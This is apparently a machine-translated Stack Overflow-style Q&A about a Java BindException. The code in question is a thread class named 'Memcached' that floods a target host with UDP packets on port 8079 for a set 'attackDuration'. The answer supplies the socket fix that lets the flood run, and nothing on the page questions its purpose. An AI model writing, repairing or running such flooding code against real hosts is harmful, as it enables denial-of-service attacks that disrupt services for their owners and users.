简体   繁体   English

java.net.BindException:绑定失败:EADDRNOTAVAIL(无法分配请求的地址)

[英]java.net.BindException: bind failed: EADDRNOTAVAIL (Cannot assign requested address)

When the following code is run, I get an exception thrown in the line socket = new DatagramSocket(8079, ip);运行以下代码时,我在socket = new DatagramSocket(8079, ip);行中抛出异常saying java.net.BindException: bind failed: EADDRNOTAVAIL (Cannot assign requested address).说 java.net.BindException:绑定失败:EADDRNOTAVAIL(无法分配请求的地址)。 I am not sure why this is happening.我不确定为什么会这样。 Here is the code:这是代码:

public Memcached(String target, int serverPort, int attackDuration) throws MalformedURLException {
        targetURL = new URL("http://" + target);
        this.serverPort = serverPort;
        this.attackDuration = attackDuration * 1000;
    }
    @Override
    public void run() {
        long startTime = System.currentTimeMillis();
        try {
            ip = InetAddress.getByName(targetURL.toExternalForm().replace("http://", ""));
            Log.d("tag1", ip.toString());
        }
        catch(UnknownHostException uhe) {
            System.out.println("Unknown host");
            ipAddressAbleToBeFound = false;
        }
        if (ipAddressAbleToBeFound) {
            try {
                socket = new DatagramSocket(8079, ip);
            }
            catch(SocketException se) {
                System.out.println("Unable to send request, is it down already??");
                se.printStackTrace();
                socketAbleToBeCreated = false;
            }
            if (socketAbleToBeCreated) {
                while(System.currentTimeMillis() < startTime + attackDuration) {
                    byte[] buffer = {10,23,12,31,43,32,24};

                    DatagramPacket packet = new DatagramPacket(buffer, buffer.length, ip, 8079);
                    try {
                        socket.send(packet);
                    }
                    catch(IOException ioe) {
                        System.out.println("I/O error occurred");
                    }
                }
            }
        }
    }
}

Thanks!谢谢!

I think I got around this by doing socket = new DatagramSocket();我想我通过socket = new DatagramSocket();解决了这个问题。 as opposed to socket = new DatagramSocket(8079, ip);而不是socket = new DatagramSocket(8079, ip); . . It looks like you don't need to specify port and InetAddress in the DatagramSocket, you just need to do so in the DatagramPacket.看起来你不需要在 DatagramSocket 中指定端口和 InetAddress,你只需要在 DatagramPacket 中这样做。

暂无
暂无

声明:本站的技术帖子网页,遵循CC BY-SA 4.0协议,如果您需要转载,请注明本站网址或者原文地址。任何问题请咨询:yoyou2525@163.com.

相关问题 tomcat 错误:java.net.BindException:无法分配请求的地址(绑定失败) - tomcat error: java.net.BindException: Cannot assign requested address (Bind failed) java.net.BindException:无法在Heroku上分配请求的地址 - java.net.BindException: Cannot assign requested address on Heroku 遇到 java.net.bindexception 的问题无法分配请求的地址 - Problem running into java.net.bindexception cannot assign requested address java.net.BindException:无法分配请求的地址 - java.net.BindException: Cannot assign requested address 异常:java.net.BindException:无法分配请求的地址 - Exception : java.net.BindException: Cannot assign requested address 在jdeveloper java.net.BindException中运行weblogic:无法分配请求的地址:JVM_Bind - Run weblogic in jdeveloper java.net.BindException: Cannot assign requested address: JVM_Bind GNetLib-java.net.BindException:无法分配请求的地址:JVM_Bind - GNetLib - java.net.BindException: Cannot assign requested address: JVM_Bind java.net.BindException:无法分配请求的地址,java.io.IOException:打开的文件太多 - java.net.BindException: Cannot assign requested address, java.io.IOException: Too many open files 创建FlumeDStream java.net.BindException时,在Yarn错误上发生Spark流式传输:无法分配请求的地址 - Spark streaming on Yarn Error while creating FlumeDStream java.net.BindException: Cannot assign requested address java.net.BindException:打开太多连接时无法分配请求的地址 - java.net.BindException: Cannot assign requested address when opening too many connections
 
粤ICP备18138465号  © 2020-2024 STACKOOM.COM